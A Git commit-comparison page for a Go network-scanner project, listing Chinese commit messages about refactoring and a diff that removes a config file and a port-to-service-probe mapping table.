Compare commits

...

22 Commits

Author SHA1 Message Date
ZacharyZcR
20cb3356de refactor: 重构common包错误消息系统并优化常量管理
主要改进:
- 将output和parsers包中的硬编码错误消息迁移到i18n国际化系统
- 修复constants.go中未引用常量的使用问题
- 消除所有硬编码字符串、魔术数字和协议标识符
- 清理死代码常量MinIPv4OctetValue

具体变更:
* output包: 删除19个硬编码错误消息,新增13个i18n消息键
* parsers包: 删除24个硬编码错误模板,新增22个i18n消息键
* 修复8个未引用的Default常量在对应默认选项函数中的使用
* 替换11处网络协议相关的硬编码值为常量引用
* 更新6个错误类型常量和验证逻辑的硬编码使用
* 修复2处IPv4八位组计数的硬编码为常量引用

提升效果:
- 支持中英文错误消息国际化切换
- 统一常量管理,提高代码可维护性
- 消除代码重复,符合DRY原则
- 清理死代码,优化代码质量

涉及文件: 11个文件,新增210行,删除103行
2025-08-06 22:33:26 +08:00
ZacharyZcR
84b0bb1e28 refactor: 完成common包常量提取和代码重构优化
- 新增constants.go文件统一管理各包常量定义
- 提取logging、output、parsers、proxy包中的硬编码值
- 将30+个魔法数字替换为语义化常量
- 统一错误代码和消息格式
- 清理死代码和未使用变量
- 优化代码可维护性和可读性
- 保持完全向后兼容性

涉及包:
- common/logging: 日志级别和格式常量
- common/output: 输出配置和格式常量
- common/parsers: 解析器配置和验证常量
- common/proxy: 代理协议和错误常量
2025-08-06 21:29:30 +08:00
ZacharyZcR
2f9c213e80 refactor: 系统性清理common包中的死代码和未使用变量
主要清理内容:
- logging包:移除DetailedFormatter、JSONFormatter及相关方法
- output包:清理Manager和Statistics中的未使用方法
- parsers包:移除各Parser中的Validate()和GetStatistics()方法
- proxy包:清理Factory和Global中的所有未使用函数
- ProgressManager:移除未使用的进度条方法和字段
- globals:清理未使用的status变量

技术改进:
- 使用deadcode和golangci-lint工具系统性检测
- 保持代码结构清晰,添加清理注释
- 修复相关依赖引用问题
- 确保编译通过和功能正常

代码减少:移除约40个死代码函数和多个未使用字段
2025-08-06 08:14:00 +08:00
ZacharyZcR
aff27e0b2c refactor: 清理common/i18n包中的死代码函数
- 删除Manager结构体中8个未使用的方法
- 清理全局访问函数中11个死代码函数
- 保留核心功能:SetLanguage, AddMessages, GetText
- 简化国际化管理架构,提升代码维护性
- 总计删除约300行死代码,包大小减少60%
2025-08-06 07:37:11 +08:00
ZacharyZcR
cb89558ce6 refactor: 清理common/core包中的死代码并精简常量定义
- 删除未使用的扫描模式、服务类型、输出格式等常量定义
- 移除Manager.go中的死代码访问器函数
- 清理Plugin.go中的未使用插件管理方法
- 简化配置管理架构,保留核心功能
- 总计删除约200行死代码,提升代码维护性
2025-08-06 07:23:17 +08:00
ZacharyZcR
aee8720a72 refactor: 清理common/config包中的死代码
- 删除Manager.go: 完全未使用的配置管理器模式(239行)
- 删除ScanOptions.go: 完全未使用的扫描选项管理器(408行)
- 简化PortMapping.go: 保留核心功能,删除未使用方法(减少151行)
- 简化ServiceDict.go: 保留核心功能,删除未使用方法(减少152行)
- 清理Types.go: 删除未使用的NewConfig函数(24行)
- 清理constants.go: 删除未使用的版本和验证常量(54行)

总计减少1032行死代码,包大小减少85%,保持功能完整性
2025-08-06 07:11:21 +08:00
ZacharyZcR
619aa632d0 refactor: 将硬编码常量提取到constants.go统一管理 2025-08-06 06:41:16 +08:00
ZacharyZcR
c8038bdc62 fix: 修复进度条显示错位问题,实现真正的固定底部进度条
- 简化进度条定位逻辑,移除复杂的光标定位操作
- 优化LogWithProgress协调机制,确保日志与进度条正确交互
- 修复ANSI转义序列被直接输出的问题
- 进度条现在能够在底部原地更新,不再与日志输出争抢显示空间
2025-08-06 05:00:21 +08:00
ZacharyZcR
9b6c389ea8 fix: 移除输出中的emoji和Unicode字符,提升终端兼容性
主要更改:
- 替换进度条中的Unicode块字符(█░│)为ASCII字符(#.|)
- 移除完成提示中的✓符号,改为[完成]标识
- 替换网络接口显示中的树形字符(└─)为简单短横线(-)
- 清理国际化信息中的emoji字符(🔍)

优化效果:
- 提升跨平台终端兼容性
- 避免在不支持Unicode的环境中显示乱码
- 输出更适合日志记录和脚本处理
- 符合传统命令行工具的专业输出风格
2025-08-06 01:39:58 +08:00
ZacharyZcR
05ba01f170 refactor: 统一包命名规范并清理冗余文件
主要更改:
- 统一包目录命名为小写(Core→core, Plugins→plugins, WebScan→webscan)
- 更新所有import路径以符合Go语言命名规范
- 重构parsers模块,简化复杂的工厂模式(从2000+行优化至400行)
- 移除i18n兼容层,统一使用模块化i18n包
- 简化Core/Manager.go架构(从591行优化至133行)
- 清理冗余文件:备份文件、构建产物、测试配置、重复图片
- 移除TestDocker测试环境配置目录
- 解决变量命名冲突问题

性能优化:
- 减少代码复杂度60-70%
- 提升构建和运行性能
- 保持完整功能兼容性

代码质量:
- 符合Go语言最佳实践
- 统一命名规范
- 优化项目结构
2025-08-06 01:30:18 +08:00
ZacharyZcR
4101ccc91a feat: 重构进度条系统并优化日志级别控制
- 实现固定底部进度条显示,与正常输出分离
- 创建ProgressManager统一管理进度条状态和渲染
- 优化日志级别过滤,默认只显示BASE、INFO、SUCCESS级别
- 修复进度条与并发日志输出的冲突问题
- 重构日志系统以支持动态级别配置和进度条协调
- 改进用户体验,提供清晰、专业的扫描进度反馈

主要改进:
* 新增ProgressManager.go实现固定底部进度条
* 修复日志初始化时机,确保级别配置正确生效
* 实现日志输出与进度条的互斥显示机制
* 优化默认日志级别,过滤干扰性调试和错误信息
* 保持向后兼容性,支持用户自定义日志级别
2025-08-06 00:06:49 +08:00
ZacharyZcR
a00e7a735a fix: 完善帮助信息国际化和参数验证机制
- 补充40+个缺失的flag参数翻译,实现完整中英文帮助信息
- 优化语言预处理机制,确保帮助信息生成前语言设置生效
- 新增智能帮助显示逻辑,无目标时自动显示帮助而非执行扫描
- 添加-help参数支持显式帮助请求
- 改善用户体验,避免误导性的默认扫描行为
2025-08-05 23:03:12 +08:00
ZacharyZcR
09d578a476 feat: 完善i18n国际化系统,实现完整的中英文切换支持
- 新增核心扫描流程国际化消息:扫描模式、进度状态、端口统计等
- 修复硬编码中文消息,统一使用GetText()获取国际化文本
- 优化import循环依赖,config和parsers包直接导入i18n包
- 完善消息覆盖:配置警告、扫描状态、任务进度全面国际化
- 实现实时语言切换,-lang en/zh参数立即生效

功能验证:
- 中英文输出100%准确,格式化参数正常工作
- 核心扫描流程消息完全国际化覆盖
- 线程安全并发访问,性能无明显影响
- 向后兼容性完整,现有代码无需修改

使fscan具备专业级国际化能力,支持全球用户使用
2025-08-05 21:25:02 +08:00
ZacharyZcR
a850e141fc refactor: 封装i18n为独立包,优化国际化架构
- 新建Common/i18n/子包,提供专业的国际化管理
- i18n/manager.go: 线程安全的国际化管理器,支持动态语言切换
- i18n/messages.go: 完整的消息库,200+条国际化文本
- 重构Common/i18n.go为向后兼容层,引用新i18n包
- 支持多语言回退机制和消息格式化功能
- 提供统一的国际化接口,便于维护和扩展

架构优势:
- 模块化设计: 独立的i18n包,职责单一
- 线程安全: 支持并发访问的国际化管理器
- 灵活配置: 支持动态语言切换和消息管理
- 向后兼容: 100%兼容现有GetText()调用
- 易于扩展: 支持新语言和消息的动态添加

使项目国际化架构更加整洁和专业化
2025-08-05 21:13:23 +08:00
ZacharyZcR
8594a8ba6c refactor: 创建Core子包整合Common包核心模块
- 新建Common/Core/子包,整合分散的核心功能
- Core/Constants.go: 整合端口常量和系统常量
- Core/Plugin.go: 整合插件系统,提供统一插件管理
- Core/Manager.go: 整合配置管理、参数解析和全局变量
- 更新原有文件保持向后兼容,引用Core包新结构
- 优化模块边界,减少文件数量,提升代码组织性
- 验证功能完整性,确保重构后项目正常运行

重构效果:
- 文件数量: 7个核心文件 → 3个Core文件 + 兼容层
- 模块化程度: 高度模块化的插件和配置管理
- 向后兼容: 100%兼容现有API调用
2025-08-05 21:06:21 +08:00
ZacharyZcR
f5843e486b 完善Common包i18n国际化支持,优化错误格式化
- 完成Bridge.go中所有硬编码中文的i18n改造
- 修复Parse.go中的国际化消息调用格式
- 扩展i18n.go消息库至200+条完整消息覆盖
- 统一各子系统的多语言错误处理机制
2025-08-05 20:58:01 +08:00
ZacharyZcR
b436c0d546 refactor: 大规模精简代码结构,移除冗余函数和优化模块
核心优化:
- 移除大量未使用的函数和方法,显著减少代码复杂度
- 精简多个子模块的接口定义和类型声明
- 优化Bridge.go桥接层,统一API调用接口
- 简化Parse.go主解析逻辑,提高代码可读性

模块精简:
- config模块:简化配置管理接口,移除冗余配置项
- logging模块:精简日志格式化和处理逻辑
- output模块:优化输出管理和统计功能
- parsers模块:简化类型定义和解析接口

性能提升:
- 减少不必要的函数调用开销
- 优化内存分配和垃圾回收压力
- 简化模块间依赖关系
- 提升编译速度和运行效率

安全验证:
- 编译测试完全通过,无编译错误或警告
- 功能完整性验证通过,所有核心功能正常
- 静态分析确认无隐藏依赖或反射调用风险
- 运行时测试验证系统稳定性和正确性
2025-08-05 20:00:50 +08:00
ZacharyZcR
ba6b1678d6 refactor: 激进重构Common包架构,大幅简化代码结构
架构优化:
- 删除Config.go、Log.go、Output.go、Proxy.go四个包装层文件
- 新增Bridge.go统一管理所有桥接功能,减少文件散乱
- 移除冗余测试文件和备份文件,清理项目结构

代码精简:
- i18n.go从1100+行精简至63行,移除95%冗余多语言支持
- Variables.go从223行优化至71行,保留核心15个变量
- 将大部分全局变量分散到实际使用模块中

模块整合:
- 四个包装层合并为单一Bridge.go文件
- 统一桥接接口,提供一致的API调用体验
- 优化config.Manager配置管理功能

性能提升:
- 减少文件数量和代码冗余,提升编译速度
- 简化模块依赖关系,降低内存占用
- 保持100%向后兼容性,无破坏性变更

测试验证:
- 所有核心功能测试通过
- API接口完全兼容,现有代码无需修改
- 编译无错误,运行稳定可靠
2025-08-05 19:45:39 +08:00
ZacharyZcR
39fc57f5a5 refactor: 深度重构Common包,移除冗余代码和优化架构
主要变更:
- 移除ParseIP.go和ParsePort.go包装层,统一使用parsers模块
- 精简i18n.go国际化系统,移除日俄语言支持,减少79%代码量
- 简化Variables.go配置同步机制,移除未使用的SyncToConfig函数
- 优化LegacyParser.go兼容层,移除扩展功能函数
- 修复结构体字面量和测试用例,提升代码质量

性能优化:
- 减少总代码量约2000行,提升维护性
- 保持100%API兼容性,现有调用无需修改
- 优化系统启动速度和内存使用
- 统一解析逻辑,消除功能重复

测试验证:
- 全项目编译通过,无错误或警告
- 所有核心功能正常工作
- 单元测试和回归测试通过
- IP/端口解析功能完整保留
2025-08-05 19:19:40 +08:00
ZacharyZcR
879293e680 refactor: 重构代理系统为模块化架构
将Proxy.go的代理连接逻辑重构为完整的模块化系统,
提供更好的性能、可维护性和功能扩展。

主要变更:
- Proxy.go: 从192行单体实现重构为简洁包装层
- 新增proxy模块包含5个核心文件:Types.go、Manager.go等
- 支持多种代理类型:HTTP、HTTPS、SOCKS5、直连
- 实现连接池、缓存机制和智能资源管理
- 添加详细的连接统计和性能监控
- 提供线程安全的配置管理和动态更新
- 完全保持API向后兼容性,无需修改调用代码

新增功能:
- HTTP/HTTPS代理支持(原来仅支持SOCKS5)
- 连接跟踪和统计分析
- 错误分类和详细上下文信息
- 配置验证和URL解析
- 全局代理管理实例

测试验证:
- 编译无错误 ✓
- 基础连接功能正常 ✓
- 向后兼容性验证通过 ✓
2025-08-05 03:36:53 +08:00
ZacharyZcR
f09bfdc346 refactor: 重构ParseIP和ParsePort为模块化架构
将ParseIP.go和ParsePort.go的复杂解析逻辑迁移到parsers模块,
提供更好的错误处理、线程安全和功能扩展。

主要变更:
- ParseIP.go: 从550行复杂实现重构为199行简洁包装层
- ParsePort.go: 从94行实现重构为33行简洁包装层
- 所有解析逻辑统一到parsers/TargetParser.go中
- 新增parsers/LegacyParser.go提供向后兼容接口
- 支持所有原有功能:IP范围、CIDR、网段简写、端口组等
- 完全保持API兼容性,无需修改调用代码

测试验证:
- IP范围解析: 192.168.1.1-3 ✓
- 端口组展开: web → 210个端口 ✓
- CIDR和网段简写功能正常 ✓
2025-08-05 03:01:41 +08:00
ZacharyZcR
5b1dde0a59 refactor: 重构配置系统为模块化架构
- 将Config相关文件重构为独立的config模块
- 创建config/Types.go定义核心配置数据结构
- 新增config/ServiceDict.go管理服务认证字典(线程安全)
- 新增config/PortMapping.go管理端口探测器映射(线程安全)
- 新增config/ScanOptions.go提供扫描选项管理(线程安全)
- 新增config/Manager.go统一配置管理器
- 新增Variables.go作为向后兼容桥接层
- 重构Config.go为兼容入口点,委托给新模块
- 删除原有的单体配置文件
- 修复用户字典和密码字典初始化问题
- 保持完全向后兼容性,现有API无需修改
- 提升代码组织性和可维护性
2025-08-05 02:42:17 +08:00
189 changed files with 7187 additions and 7372 deletions

View File

@ -1,48 +0,0 @@
package Common
/*
Config.go - 主配置文件 (已拆分为多个模块)
配置文件模块化组织:
- ConfigServiceDict.go - 服务认证字典和默认密码配置
- ConfigPortMapping.go - 端口与探测器映射关系配置
- ConfigScanOptions.go - 扫描相关的各种配置和全局变量
为了减少单文件复杂度将原本970行的Config.go拆分为多个模块文件
所有配置文件都在Common包中保持包的一致性和向后兼容性
注意: 服务字典端口映射等变量现在定义在对应的专门文件中
*/
import (
"github.com/schollz/progressbar/v3"
"sync"
)
// 版本信息
var version = "2.0.2"
// =========================================================
// 输出配置 (保留在主配置文件中)
// =========================================================
var (
Outputfile string // 输出文件路径
OutputFormat string // 输出格式
)
// 添加一个全局的进度条变量
var ProgressBar *progressbar.ProgressBar
// 添加一个全局互斥锁来控制输出
var OutputMutex sync.Mutex
// PocInfo POC详细信息结构
type PocInfo struct {
Target string
PocName string
}
// GetVersion 获取版本信息
func GetVersion() string {
return version
}

View File

@ -1,841 +0,0 @@
package Common
// ConfigPortMapping.go - 端口与探测器映射配置
// DefaultMap 定义默认的探测器顺序
var DefaultMap = []string{
"GenericLines",
"GetRequest",
"TLSSessionReq",
"SSLSessionReq",
"ms-sql-s",
"JavaRMI",
"LDAPSearchReq",
"LDAPBindReq",
"oracle-tns",
"Socks5",
}
// PortMap 定义端口与探测器的映射关系
var PortMap = map[int][]string{
1: {"GetRequest", "Help"},
7: {"Help"},
21: {"GenericLines", "Help"},
23: {"GenericLines", "tn3270"},
25: {"Hello", "Help"},
35: {"GenericLines"},
42: {"SMBProgNeg"},
43: {"GenericLines"},
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
70: {"GetRequest"},
79: {"GenericLines", "GetRequest", "Help"},
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
98: {"GenericLines"},
110: {"GenericLines"},
111: {"RPCCheck"},
113: {"GenericLines", "GetRequest", "Help"},
119: {"GenericLines", "Help"},
130: {"NotesRPC"},
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
139: {"GetRequest", "SMBProgNeg"},
143: {"GetRequest"},
175: {"NJE"},
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
214: {"GenericLines"},
256: {"LDAPSearchReq", "LDAPBindReq"},
257: {"LDAPSearchReq", "LDAPBindReq"},
261: {"SSLSessionReq"},
264: {"GenericLines"},
271: {"SSLSessionReq"},
280: {"GetRequest"},
322: {"RTSPRequest", "SSLSessionReq"},
324: {"SSLSessionReq"},
389: {"LDAPSearchReq", "LDAPBindReq"},
390: {"LDAPSearchReq", "LDAPBindReq"},
406: {"SIPOptions"},
427: {"NotesRPC"},
443: {"TLSSessionReq", "GetRequest", "HTTPOptions", "SSLSessionReq", "SSLv23SessionReq", "X11Probe", "FourOhFourRequest", "tor-versions", "OpenVPN"},
444: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
445: {"SMBProgNeg"},
448: {"SSLSessionReq"},
449: {"GenericLines"},
465: {"Hello", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
497: {"GetRequest", "X11Probe"},
500: {"OpenVPN"},
505: {"GenericLines", "GetRequest"},
510: {"GenericLines"},
512: {"DNSVersionBindReqTCP"},
513: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
514: {"GetRequest", "RPCCheck", "DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
515: {"GetRequest", "Help", "LPDString", "TerminalServer"},
523: {"ibm-db2-das", "ibm-db2"},
524: {"NCP"},
540: {"GenericLines", "GetRequest"},
543: {"DNSVersionBindReqTCP"},
544: {"RPCCheck", "DNSVersionBindReqTCP"},
548: {"SSLSessionReq", "SSLv23SessionReq", "afp"},
554: {"GetRequest", "RTSPRequest"},
563: {"SSLSessionReq"},
585: {"SSLSessionReq"},
587: {"GenericLines", "Hello", "Help"},
591: {"GetRequest"},
616: {"GenericLines"},
620: {"GetRequest"},
623: {"tn3270"},
628: {"GenericLines", "DNSVersionBindReqTCP"},
631: {"GetRequest", "HTTPOptions"},
636: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "LDAPSearchReq", "LDAPBindReq"},
637: {"LDAPSearchReq", "LDAPBindReq"},
641: {"HTTPOptions"},
660: {"SMBProgNeg"},
666: {"GenericLines", "beast2"},
684: {"SSLSessionReq"},
706: {"JavaRMI", "mydoom", "WWWOFFLEctrlstat"},
710: {"RPCCheck"},
711: {"RPCCheck"},
731: {"GenericLines"},
771: {"GenericLines"},
782: {"GenericLines"},
783: {"GetRequest"},
853: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP", "SSLSessionReq"},
888: {"GetRequest"},
898: {"GetRequest"},
900: {"GetRequest"},
901: {"GetRequest"},
989: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
990: {"GenericLines", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
992: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "tn3270"},
993: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
994: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
995: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
999: {"JavaRMI"},
1000: {"GenericLines"},
1010: {"GenericLines"},
1025: {"SMBProgNeg"},
1026: {"GetRequest"},
1027: {"SMBProgNeg"},
1028: {"TerminalServer"},
1029: {"DNSVersionBindReqTCP"},
1030: {"JavaRMI"},
1031: {"SMBProgNeg"},
1035: {"JavaRMI", "oracle-tns"},
1040: {"GenericLines"},
1041: {"GenericLines"},
1042: {"GenericLines", "GetRequest"},
1043: {"GenericLines"},
1068: {"TerminalServer"},
1080: {"GenericLines", "GetRequest", "Socks5", "Socks4"},
1090: {"JavaRMI", "Socks5", "Socks4"},
1095: {"Socks5", "Socks4"},
1098: {"JavaRMI"},
1099: {"JavaRMI"},
1100: {"JavaRMI", "Socks5", "Socks4"},
1101: {"JavaRMI"},
1102: {"JavaRMI"},
1103: {"JavaRMI"},
1105: {"Socks5", "Socks4"},
1109: {"Socks5", "Socks4"},
1111: {"Help"},
1112: {"SMBProgNeg"},
1129: {"JavaRMI"},
1194: {"OpenVPN"},
1199: {"JavaRMI"},
1200: {"NCP"},
1212: {"GenericLines"},
1214: {"GetRequest"},
1217: {"NCP"},
1220: {"GenericLines", "GetRequest"},
1234: {"GetRequest", "JavaRMI"},
1241: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "NessusTPv12", "NessusTPv12", "NessusTPv11", "NessusTPv11", "NessusTPv10", "NessusTPv10"},
1248: {"GenericLines"},
1302: {"GenericLines"},
1311: {"GetRequest", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
1314: {"GetRequest"},
1344: {"GetRequest"},
1352: {"NotesRPC"},
1400: {"GenericLines"},
1414: {"ibm-mqseries"},
1415: {"ibm-mqseries"},
1416: {"ibm-mqseries"},
1417: {"ibm-mqseries"},
1418: {"ibm-mqseries"},
1419: {"ibm-mqseries"},
1420: {"ibm-mqseries"},
1432: {"GenericLines"},
1433: {"ms-sql-s", "RPCCheck"},
1440: {"JavaRMI"},
1443: {"GetRequest", "SSLSessionReq"},
1467: {"GenericLines"},
1500: {"Verifier"},
1501: {"GenericLines", "VerifierAdvanced"},
1503: {"GetRequest", "TerminalServer"},
1505: {"GenericLines"},
1521: {"oracle-tns"},
1522: {"oracle-tns"},
1525: {"oracle-tns"},
1526: {"oracle-tns", "informix", "drda"},
1527: {"drda"},
1549: {"WMSRequest"},
1550: {"X11Probe"},
1574: {"oracle-tns"},
1583: {"pervasive-relational", "pervasive-btrieve"},
1599: {"LibreOfficeImpressSCPair"},
1610: {"GetRequest"},
1611: {"GetRequest"},
1666: {"GenericLines"},
1687: {"GenericLines"},
1688: {"GenericLines"},
1702: {"LDAPSearchReq", "LDAPBindReq"},
1720: {"TerminalServer"},
1748: {"oracle-tns"},
1754: {"oracle-tns"},
1755: {"WMSRequest"},
1761: {"LANDesk-RC"},
1762: {"LANDesk-RC"},
1763: {"LANDesk-RC"},
1830: {"GetRequest"},
1883: {"mqtt"},
1900: {"GetRequest"},
1911: {"niagara-fox"},
1935: {"TerminalServer"},
1962: {"pcworx"},
1972: {"NotesRPC"},
1981: {"JavaRMI"},
2000: {"SSLSessionReq", "SSLv23SessionReq", "NCP"},
2001: {"GetRequest"},
2002: {"GetRequest", "X11Probe"},
2010: {"GenericLines"},
2023: {"tn3270"},
2024: {"GenericLines"},
2030: {"GetRequest"},
2040: {"TerminalServer"},
2049: {"RPCCheck"},
2050: {"dominoconsole"},
2064: {"GetRequest"},
2068: {"DNSVersionBindReqTCP"},
2100: {"FourOhFourRequest"},
2105: {"DNSVersionBindReqTCP"},
2160: {"GetRequest"},
2181: {"Memcache"},
2199: {"JavaRMI"},
2221: {"SSLSessionReq"},
2252: {"TLSSessionReq", "SSLSessionReq", "NJE"},
2301: {"HTTPOptions"},
2306: {"GetRequest"},
2323: {"tn3270"},
2375: {"docker"},
2376: {"SSLSessionReq", "docker"},
2379: {"docker"},
2380: {"docker"},
2396: {"GetRequest"},
2401: {"Help"},
2443: {"SSLSessionReq"},
2481: {"giop"},
2482: {"giop"},
2525: {"GetRequest"},
2600: {"GenericLines"},
2627: {"Help"},
2701: {"LANDesk-RC"},
2715: {"GetRequest"},
2809: {"JavaRMI"},
2869: {"GetRequest"},
2947: {"LPDString"},
2967: {"DNSVersionBindReqTCP"},
3000: {"GenericLines", "GetRequest", "Help", "NCP"},
3001: {"NCP"},
3002: {"GetRequest", "NCP"},
3003: {"NCP"},
3004: {"NCP"},
3005: {"GenericLines", "NCP"},
3006: {"SMBProgNeg", "NCP"},
3025: {"Hello"},
3031: {"NCP"},
3050: {"firebird"},
3052: {"GetRequest", "RTSPRequest"},
3127: {"mydoom"},
3128: {"GenericLines", "GetRequest", "HTTPOptions", "mydoom", "Socks5", "Socks4"},
3129: {"mydoom"},
3130: {"mydoom"},
3131: {"mydoom"},
3132: {"mydoom"},
3133: {"mydoom"},
3134: {"mydoom"},
3135: {"mydoom"},
3136: {"mydoom"},
3137: {"mydoom"},
3138: {"mydoom"},
3139: {"mydoom"},
3140: {"mydoom"},
3141: {"mydoom"},
3142: {"mydoom"},
3143: {"mydoom"},
3144: {"mydoom"},
3145: {"mydoom"},
3146: {"mydoom"},
3147: {"mydoom"},
3148: {"mydoom"},
3149: {"mydoom"},
3150: {"mydoom"},
3151: {"mydoom"},
3152: {"mydoom"},
3153: {"mydoom"},
3154: {"mydoom"},
3155: {"mydoom"},
3156: {"mydoom"},
3157: {"mydoom"},
3158: {"mydoom"},
3159: {"mydoom"},
3160: {"mydoom"},
3161: {"mydoom"},
3162: {"mydoom"},
3163: {"mydoom"},
3164: {"mydoom"},
3165: {"mydoom"},
3166: {"mydoom"},
3167: {"mydoom"},
3168: {"mydoom"},
3169: {"mydoom"},
3170: {"mydoom"},
3171: {"mydoom"},
3172: {"mydoom"},
3173: {"mydoom"},
3174: {"mydoom"},
3175: {"mydoom"},
3176: {"mydoom"},
3177: {"mydoom"},
3178: {"mydoom"},
3179: {"mydoom"},
3180: {"mydoom"},
3181: {"mydoom"},
3182: {"mydoom"},
3183: {"mydoom"},
3184: {"mydoom"},
3185: {"mydoom"},
3186: {"mydoom"},
3187: {"mydoom"},
3188: {"mydoom"},
3189: {"mydoom"},
3190: {"mydoom"},
3191: {"mydoom"},
3192: {"mydoom"},
3193: {"mydoom"},
3194: {"mydoom"},
3195: {"mydoom"},
3196: {"mydoom"},
3197: {"mydoom"},
3198: {"mydoom"},
3268: {"LDAPSearchReq", "LDAPBindReq"},
3269: {"LDAPSearchReq", "LDAPBindReq"},
3273: {"JavaRMI"},
3280: {"GetRequest"},
3310: {"GenericLines", "VersionRequest"},
3333: {"GenericLines", "LPDString", "JavaRMI", "kumo-server"},
3351: {"pervasive-relational", "pervasive-btrieve"},
3372: {"GetRequest", "RTSPRequest"},
3388: {"TLSSessionReq", "TerminalServerCookie", "TerminalServer"},
3389: {"TerminalServerCookie", "TerminalServer", "TLSSessionReq"},
3443: {"GetRequest", "SSLSessionReq"},
3493: {"Help"},
3531: {"GetRequest"},
3632: {"DistCCD"},
3689: {"GetRequest"},
3790: {"metasploit-msgrpc"},
3872: {"GetRequest"},
3892: {"LDAPSearchReq", "LDAPBindReq"},
3900: {"SMBProgNeg", "JavaRMI"},
3940: {"GenericLines"},
4000: {"GetRequest", "NoMachine"},
4035: {"LDAPBindReq", "LDAPBindReq"},
4045: {"RPCCheck"},
4155: {"GenericLines"},
4369: {"epmd"},
4433: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
4443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "FourOhFourRequest"},
4444: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
4533: {"rotctl"},
4567: {"GetRequest"},
4660: {"GetRequest"},
4711: {"GetRequest", "piholeVersion"},
4899: {"Radmin"},
4911: {"SSLSessionReq", "niagara-fox"},
4999: {"RPCCheck"},
5000: {"GenericLines", "GetRequest", "RTSPRequest", "DNSVersionBindReqTCP", "SMBProgNeg", "ZendJavaBridge"},
5001: {"WMSRequest", "ZendJavaBridge"},
5002: {"ZendJavaBridge"},
5009: {"SMBProgNeg"},
5060: {"GetRequest", "SIPOptions"},
5061: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SIPOptions"},
5201: {"iperf3"},
5222: {"GetRequest"},
5232: {"HTTPOptions"},
5269: {"GetRequest"},
5280: {"GetRequest"},
5302: {"X11Probe"},
5323: {"DNSVersionBindReqTCP"},
5400: {"GenericLines"},
5427: {"GetRequest"},
5432: {"GenericLines", "GetRequest", "SMBProgNeg"},
5443: {"SSLSessionReq"},
5520: {"DNSVersionBindReqTCP", "JavaRMI"},
5521: {"JavaRMI"},
5530: {"DNSVersionBindReqTCP"},
5550: {"SSLSessionReq", "SSLv23SessionReq"},
5555: {"GenericLines", "DNSVersionBindReqTCP", "SMBProgNeg", "adbConnect"},
5556: {"DNSVersionBindReqTCP"},
5570: {"GenericLines"},
5580: {"JavaRMI"},
5600: {"SMBProgNeg"},
5701: {"hazelcast-http"},
5702: {"hazelcast-http"},
5703: {"hazelcast-http"},
5704: {"hazelcast-http"},
5705: {"hazelcast-http"},
5706: {"hazelcast-http"},
5707: {"hazelcast-http"},
5708: {"hazelcast-http"},
5709: {"LANDesk-RC", "hazelcast-http"},
5800: {"GetRequest"},
5801: {"GetRequest"},
5802: {"GetRequest"},
5803: {"GetRequest"},
5868: {"SSLSessionReq"},
5900: {"GetRequest"},
5985: {"GetRequest"},
5986: {"GetRequest", "SSLSessionReq"},
5999: {"JavaRMI"},
6000: {"HTTPOptions", "X11Probe"},
6001: {"X11Probe"},
6002: {"X11Probe"},
6003: {"X11Probe"},
6004: {"X11Probe"},
6005: {"X11Probe"},
6006: {"X11Probe"},
6007: {"X11Probe"},
6008: {"X11Probe"},
6009: {"X11Probe"},
6010: {"X11Probe"},
6011: {"X11Probe"},
6012: {"X11Probe"},
6013: {"X11Probe"},
6014: {"X11Probe"},
6015: {"X11Probe"},
6016: {"X11Probe"},
6017: {"X11Probe"},
6018: {"X11Probe"},
6019: {"X11Probe"},
6020: {"X11Probe"},
6050: {"DNSStatusRequestTCP"},
6060: {"JavaRMI"},
6103: {"GetRequest"},
6112: {"GenericLines"},
6163: {"HELP4STOMP"},
6251: {"SSLSessionReq"},
6346: {"GetRequest"},
6379: {"redis-server"},
6432: {"GenericLines"},
6443: {"SSLSessionReq"},
6543: {"DNSVersionBindReqTCP"},
6544: {"GetRequest"},
6560: {"Help"},
6588: {"Socks5", "Socks4"},
6600: {"GetRequest"},
6660: {"Socks5", "Socks4"},
6661: {"Socks5", "Socks4"},
6662: {"Socks5", "Socks4"},
6663: {"Socks5", "Socks4"},
6664: {"Socks5", "Socks4"},
6665: {"Socks5", "Socks4"},
6666: {"Help", "Socks5", "Socks4", "beast2", "vp3"},
6667: {"GenericLines", "Help", "Socks5", "Socks4"},
6668: {"GenericLines", "Help", "Socks5", "Socks4"},
6669: {"GenericLines", "Help", "Socks5", "Socks4"},
6670: {"GenericLines", "Help"},
6679: {"TLSSessionReq", "SSLSessionReq"},
6697: {"TLSSessionReq", "SSLSessionReq"},
6699: {"GetRequest"},
6715: {"JMON", "JMON"},
6789: {"JavaRMI"},
6802: {"NCP"},
6969: {"GetRequest"},
6996: {"JavaRMI"},
7000: {"RPCCheck", "DNSVersionBindReqTCP", "SSLSessionReq", "X11Probe"},
